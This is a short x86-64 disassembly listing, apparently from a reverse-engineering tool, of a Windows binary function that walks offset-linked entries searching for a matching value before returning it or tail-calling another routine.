mov r10, qword [r11 + 0x3228]
test r10, r10
je 0x140016ad9
lea r9, [r10 + 4]
test r9, r9
je 0x140016ad9
not eax
cmp dword [r9], eax
je 0x140016ae2
movsxd r8, dword [r9 - 4]
movsxd rdx, dword [r11 + 0x3220]
add r8, r9
add rdx, 4
xor r9d, r9d
add rdx, r10
cmp r8, rdx
cmovne r9, r8
test r9, r9
jne 0x140016ab0
mov rcx, rbx
pop rbx
jmp fcn.140016950
mov rax, r9
pop rbx
ret